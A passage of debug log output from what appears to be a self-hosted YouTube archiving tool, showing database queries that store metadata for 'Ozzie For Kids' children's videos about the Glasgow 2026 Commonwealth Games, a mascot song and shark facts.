#EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "🌿🎢 NEW Lawn Mower Songs for Kids! | 3 Fun Mowing Songs with Ozzie", 927, false, "O1K9qukZNkE", "https://www.youtube.com/watch?v=O1K9qukZNkE", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-22 - 🌿🎢 NEW Lawn Mower Songs for Kids! | 3 Fun Mowing Songs with Ozzie.mp4", false, 7, ~U[2026-07-22 18:00:19Z]] 13:17:01.709 [debug] QUERY OK source="sources" db=1.8ms idle=18.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.713 [debug] QUERY OK source="media_items" db=3.0ms queue=0.2ms idle=16.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-21 14:00:39Z], 7] 13:17:01.717 [debug] QUERY OK source="media_items" db=2.2ms idle=17.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're celebrating the Glasgow 2026 Commonwealth Games with an exciting mega combo full of sport, music and story time! πŸ…πŸ¦„πŸ“š\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through adventure, music and stories!\n\nJoin Ozzie for the ultimate Glasgow 2026 Commonwealth Games Mega Combo! Discover what the Commonwealth Games are, learn about the exciting sports and countries taking part, sing and dance with Finnie the Unicorn, the official Glasgow 2026 mascot, then settle in for a fun and inspiring Story Time.\n\nWe'll finish by reading Aussie Aussie Aussie Oi Oi Oi by Monica Brzezinski, an inspiring story about chasing your dreams, representing your country and cheering on athletes with pride.\n\nThis action-packed combo is perfect for young sports fans and families who love learning through songs, stories and exciting adventures!\n\nIn this mega combo you'll enjoy:\n\nπŸ… Glasgow 2026 Commonwealth Games for Kids\nLearn what the Commonwealth Games are, discover exciting sports, meet athletes from across the Commonwealth and find out why the Games are known as the Friendly Games.\n\nπŸ¦„ Finnie the Unicorn Song\nSing, dance and clap along with Finnie, the magical official mascot of the Glasgow 2026 Commonwealth Games, in this fun, energetic song celebrating friendship, kindness and sport.\n\nπŸ“š Story Time with Ozzie – Aussie Aussie Aussie Oi Oi Oi\nEnjoy a heartwarming story that inspires children to believe in themselves, support one another and proudly cheer on their country.\n\nKids will learn about:\nβ€’ What the Commonwealth Games are\nβ€’ Different sports played at the Games\nβ€’ Friendship, teamwork and sportsmanship\nβ€’ Believing in yourself and chasing your dreams\nβ€’ Showing kindness and supporting others\n\nTopics kids will learn about in this video:\n\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Commonwealth Countries For Kids\nβ€’ Finnie The Unicorn For Kids\nβ€’ Sports For Kids\nβ€’ Story Time For Kids\nβ€’ Australian Books For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #Finnie #StoryTime #SportsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Glasgow 2026 Commonwealth Games Mega Combo! πŸ… Finnie Song, Sports, Story Time & Fun Facts", "5197a4e4-3fee-4e93-a42d-6cde375dc45c", 917, false, "jPz3UVtgqLo", "https://www.youtube.com/watch?v=jPz3UVtgqLo", 14, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-21 - Glasgow 2026 Commonwealth Games Mega Combo! πŸ… Finnie Song, Sports, Story Time & Fun Facts.mp4", false, false, false, 7, [], 98, ~U[2026-07-21 14:00:39Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Today we're celebrating the Glasgow 2026 Commonwealth Games with an exciting mega combo full of sport, music and story time! πŸ…πŸ¦„πŸ“š\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through adventure, music and stories!\n\nJoin Ozzie for the ultimate Glasgow 2026 Commonwealth Games Mega Combo! Discover what the Commonwealth Games are, learn about the exciting sports and countries taking part, sing and dance with Finnie the Unicorn, the official Glasgow 2026 mascot, then settle in for a fun and inspiring Story Time.\n\nWe'll finish by reading Aussie Aussie Aussie Oi Oi Oi by Monica Brzezinski, an inspiring story about chasing your dreams, representing your country and cheering on athletes with pride.\n\nThis action-packed combo is perfect for young sports fans and families who love learning through songs, stories and exciting adventures!\n\nIn this mega combo you'll enjoy:\n\nπŸ… Glasgow 2026 Commonwealth Games for Kids\nLearn what the Commonwealth Games are, discover exciting sports, meet athletes from across the Commonwealth and find out why the Games are known as the Friendly Games.\n\nπŸ¦„ Finnie the Unicorn Song\nSing, dance and clap along with Finnie, the magical official mascot of the Glasgow 2026 Commonwealth Games, in this fun, energetic song celebrating friendship, kindness and sport.\n\nπŸ“š Story Time with Ozzie – Aussie Aussie Aussie Oi Oi Oi\nEnjoy a heartwarming story that inspires children to believe in themselves, support one another and proudly cheer on their country.\n\nKids will learn about:\nβ€’ What the Commonwealth Games are\nβ€’ Different sports played at the Games\nβ€’ Friendship, teamwork and sportsmanship\nβ€’ Believing in yourself and chasing your dreams\nβ€’ Showing kindness and supporting others\n\nTopics kids will learn about in this video:\n\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Commonwealth Countries For Kids\nβ€’ Finnie The Unicorn For Kids\nβ€’ Sports For Kids\nβ€’ Story Time For Kids\nβ€’ Australian Books For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #Finnie #StoryTime #SportsForKids #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Glasgow 2026 Commonwealth Games Mega Combo! πŸ… Finnie Song, Sports, Story Time & Fun Facts", 917, false, "jPz3UVtgqLo", "https://www.youtube.com/watch?v=jPz3UVtgqLo", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-21 - Glasgow 2026 Commonwealth Games Mega Combo! πŸ… Finnie Song, Sports, Story Time & Fun Facts.mp4", false, 7, ~U[2026-07-21 14:00:39Z]] 13:17:01.719 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=17.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.721 [debug] QUERY OK source="media_items" db=1.7ms idle=12.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-19 05:00:01Z], 7] 13:17:01.730 [debug] QUERY OK source="media_items" db=7.2ms idle=12.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're exploring the Glasgow 2026 Commonwealth Games and discovering amazing sports from around the world! πŸ…πŸŒ\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn about exciting places, incredible events and amazing sports!\n\nJoin Ozzie as we explore one of the world's biggest sporting events β€” the Glasgow 2026 Commonwealth Games. Discover exciting sports, incredible athletes and the many countries that come together to compete in the spirit of friendship and teamwork.\n\nFind out what makes the Commonwealth Games so special, why they're known as the \"Friendly Games\", and learn about some of the awesome sports you'll see, including swimming, athletics, gymnastics, cycling, rugby, netball and more.\n\nWe'll also discover how the Commonwealth Games became the first major multi-sport event to fully include Para sports, celebrating athletes of all abilities and showing that everyone deserves the chance to shine.\n\nWhether you love swimming, athletics, cycling, gymnastics or cheering for your favourite team, there's something for everyone at the Commonwealth Games!\n\nKids will learn about:\nβ€’ What the Commonwealth Games are\nβ€’ The exciting sports and countries that compete\nβ€’ Friendship, teamwork and great sportsmanship\n\nTopics kids will learn about in this video:\n\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Commonwealth Countries For Kids\nβ€’ Sports Around The World For Kids\nβ€’ Athletics For Kids\nβ€’ Para Sports For Kids\nβ€’ Commonwealth Games Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #SportsForKids #OzzieForKids #EducationalVideosForKids #StayKeen", "Glasgow 2026 Commonwealth Games for Kids! πŸ… Sports, Countries & Fun Facts with Ozzie", "496cf7d6-e349-4d0b-9f82-e57d673eb44d", 364, false, "1YwYlmmKHzE", "https://www.youtube.com/watch?v=1YwYlmmKHzE", 15, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-19 - Glasgow 2026 Commonwealth Games for Kids! πŸ… Sports, Countries & Fun Facts with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-19 05:00:01Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Today we're exploring the Glasgow 2026 Commonwealth Games and discovering amazing sports from around the world! πŸ…πŸŒ\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn about exciting places, incredible events and amazing sports!\n\nJoin Ozzie as we explore one of the world's biggest sporting events β€” the Glasgow 2026 Commonwealth Games. Discover exciting sports, incredible athletes and the many countries that come together to compete in the spirit of friendship and teamwork.\n\nFind out what makes the Commonwealth Games so special, why they're known as the \"Friendly Games\", and learn about some of the awesome sports you'll see, including swimming, athletics, gymnastics, cycling, rugby, netball and more.\n\nWe'll also discover how the Commonwealth Games became the first major multi-sport event to fully include Para sports, celebrating athletes of all abilities and showing that everyone deserves the chance to shine.\n\nWhether you love swimming, athletics, cycling, gymnastics or cheering for your favourite team, there's something for everyone at the Commonwealth Games!\n\nKids will learn about:\nβ€’ What the Commonwealth Games are\nβ€’ The exciting sports and countries that compete\nβ€’ Friendship, teamwork and great sportsmanship\n\nTopics kids will learn about in this video:\n\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Commonwealth Countries For Kids\nβ€’ Sports Around The World For Kids\nβ€’ Athletics For Kids\nβ€’ Para Sports For Kids\nβ€’ Commonwealth Games Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #SportsForKids #OzzieForKids #EducationalVideosForKids #StayKeen", "Glasgow 2026 Commonwealth Games for Kids! πŸ… Sports, Countries & Fun Facts with Ozzie", 364, false, "1YwYlmmKHzE", "https://www.youtube.com/watch?v=1YwYlmmKHzE", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-19 - Glasgow 2026 Commonwealth Games for Kids! πŸ… Sports, Countries & Fun Facts with Ozzie.mp4", false, 7, ~U[2026-07-19 05:00:01Z]] 13:17:01.734 [debug] QUERY OK source="sources" db=2.6ms queue=0.2ms idle=18.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.736 [debug] QUERY OK source="media_items" db=1.8ms idle=18.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-15 22:00:24Z], 7] 13:17:01.743 [debug] QUERY OK source="media_items" db=5.5ms idle=17.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're singing with Finnie the Unicorn, the magical mascot of the Glasgow 2026 Commonwealth Games! πŸ¦„πŸŽ΅\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through music, movement and exciting adventures!\n\nMeet Finnie, the magical unicorn and official mascot of the Glasgow 2026 Commonwealth Games. Get ready to sing, dance and clap along as Finnie celebrates friendship, sport, kindness and fun in this catchy song for kids.\n\nWhether you love unicorns, cheering on athletes or learning about big sporting events from around the world, this magical adventure is full of smiles, music and Commonwealth spirit.\n\nSo get on your feet, sing along and join Finnie as we celebrate the joy of sport together!\n\nKids will learn about:\nβ€’ The Glasgow 2026 Commonwealth Games mascot, Finnie\nβ€’ Friendship, kindness and good sportsmanship\nβ€’ How sport brings people together from around the world\n\nTopics kids will learn about in this video:\n\nβ€’ Finnie The Unicorn For Kids\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Unicorn Songs For Kids\nβ€’ Sports Songs For Kids\nβ€’ Friendship Through Sport\nβ€’ Commonwealth Games Mascot For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #Finnie #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Finnie the Unicorn Song! πŸ¦„ Glasgow 2026 Commonwealth Games Mascot Song for Kids with Ozzie", "7f6a3675-afc1-463a-9337-04cec7e979cf", 184, false, "zYjOdNeeQJU", "https://www.youtube.com/watch?v=zYjOdNeeQJU", 16, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-15 - Finnie the Unicorn Song! πŸ¦„ Glasgow 2026 Commonwealth Games Mascot Song for Kids with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-15 22:00:24Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Today we're singing with Finnie the Unicorn, the magical mascot of the Glasgow 2026 Commonwealth Games! πŸ¦„πŸŽ΅\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we learn through music, movement and exciting adventures!\n\nMeet Finnie, the magical unicorn and official mascot of the Glasgow 2026 Commonwealth Games. Get ready to sing, dance and clap along as Finnie celebrates friendship, sport, kindness and fun in this catchy song for kids.\n\nWhether you love unicorns, cheering on athletes or learning about big sporting events from around the world, this magical adventure is full of smiles, music and Commonwealth spirit.\n\nSo get on your feet, sing along and join Finnie as we celebrate the joy of sport together!\n\nKids will learn about:\nβ€’ The Glasgow 2026 Commonwealth Games mascot, Finnie\nβ€’ Friendship, kindness and good sportsmanship\nβ€’ How sport brings people together from around the world\n\nTopics kids will learn about in this video:\n\nβ€’ Finnie The Unicorn For Kids\nβ€’ Commonwealth Games For Kids\nβ€’ Glasgow 2026 For Kids\nβ€’ Unicorn Songs For Kids\nβ€’ Sports Songs For Kids\nβ€’ Friendship Through Sport\nβ€’ Commonwealth Games Mascot For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#Glasgow2026 #CommonwealthGames #Finnie #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "Finnie the Unicorn Song! πŸ¦„ Glasgow 2026 Commonwealth Games Mascot Song for Kids with Ozzie", 184, false, "zYjOdNeeQJU", "https://www.youtube.com/watch?v=zYjOdNeeQJU", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-15 - Finnie the Unicorn Song! πŸ¦„ Glasgow 2026 Commonwealth Games Mascot Song for Kids with Ozzie.mp4", false, 7, ~U[2026-07-15 22:00:24Z]] 13:17:01.745 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=22.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.751 [debug] QUERY OK source="media_items" db=5.0ms queue=0.1ms idle=16.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-12 05:00:34Z], 7] 13:17:01.762 [debug] QUERY OK source="media_items" db=9.5ms idle=17.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today we're discovering 10 amazing shark facts every kid should know! 🦈\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we explore amazing animals and uncover incredible facts about our world.\n\nDid you know sharks have been swimming in our oceans for more than 400 million years? Or that the whale shark is the biggest fish on Earth?\n\nJoin Ozzie as we dive beneath the waves to discover 10 incredible shark facts that are fun, fascinating and perfect for curious kids. Along the way, you'll meet giant whale sharks, speedy great white sharks, tiny dwarf lantern sharks and learn how these amazing ocean animals survive.\n\nWhether you already love sharks or you're just starting to learn about them, this episode is packed with exciting discoveries!\n\nKids will learn about:\nβ€’ Different types of sharks from around the world\nβ€’ Amazing shark adaptations and how they survive\nβ€’ Why sharks are important for healthy oceans\n\nTopics kids will learn about in this video:\n\nβ€’ Shark Facts For Kids\nβ€’ Sharks For Kids\nβ€’ Whale Shark For Kids\nβ€’ Great White Shark For Kids\nβ€’ Ocean Animals For Kids\nβ€’ Marine Life For Kids\nβ€’ Sharks Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#SharkFacts #SharksForKids #OceanAnimals #OzzieForKids #EducationalVideosForKids #StayKeen", "10 Amazing Shark Facts Every Kid Should Know! 🦈 Fun Shark Facts with Ozzie", "225726f2-b9da-4a86-b22c-a8d343eccf11", 240, false, "1t49T36WOjs", "https://www.youtube.com/watch?v=1t49T36WOjs", 17, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-12 - 10 Amazing Shark Facts Every Kid Should Know! 🦈 Fun Shark Facts with Ozzie.mp4", false, false, false, 7, [], 98, ~U[2026-07-12 05:00:34Z], ~U[2026-09-03 03:17:01Z], ~U[2026-09-03 03:17:01Z], "Today we're discovering 10 amazing shark facts every kid should know! 🦈\n\nLooking for fun educational videos for kids? Ozzie explores machines, animals, sports, science and how things work!\n\nWelcome to Ozzie For Kids, where we explore amazing animals and uncover incredible facts about our world.\n\nDid you know sharks have been swimming in our oceans for more than 400 million years? Or that the whale shark is the biggest fish on Earth?\n\nJoin Ozzie as we dive beneath the waves to discover 10 incredible shark facts that are fun, fascinating and perfect for curious kids. Along the way, you'll meet giant whale sharks, speedy great white sharks, tiny dwarf lantern sharks and learn how these amazing ocean animals survive.\n\nWhether you already love sharks or you're just starting to learn about them, this episode is packed with exciting discoveries!\n\nKids will learn about:\nβ€’ Different types of sharks from around the world\nβ€’ Amazing shark adaptations and how they survive\nβ€’ Why sharks are important for healthy oceans\n\nTopics kids will learn about in this video:\n\nβ€’ Shark Facts For Kids\nβ€’ Sharks For Kids\nβ€’ Whale Shark For Kids\nβ€’ Great White Shark For Kids\nβ€’ Ocean Animals For Kids\nβ€’ Marine Life For Kids\nβ€’ Sharks Explained For Kids\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG'day kids, Ozzie here!\n\nI'm an Australian kids' entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you're in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#SharkFacts #SharksForKids #OceanAnimals #OzzieForKids #EducationalVideosForKids #StayKeen", "10 Amazing Shark Facts Every Kid Should Know! 🦈 Fun Shark Facts with Ozzie", 240, false, "1t49T36WOjs", "https://www.youtube.com/watch?v=1t49T36WOjs", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-07-12 - 10 Amazing Shark Facts Every Kid Should Know! 🦈 Fun Shark Facts with Ozzie.mp4", false, 7, ~U[2026-07-12 05:00:34Z]] 13:17:01.770 [debug] QUERY OK source="sources" db=7.0ms queue=0.1ms idle=26.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:17:01.775 [debug] QUERY OK source="media_items" db=4.6ms idle=27.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-08 20:00:37Z], 7] 13:17:01.778 [debug] QUERY OK source="media_items" db=2.3ms idle=30.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🦈 Dive into an ocean of 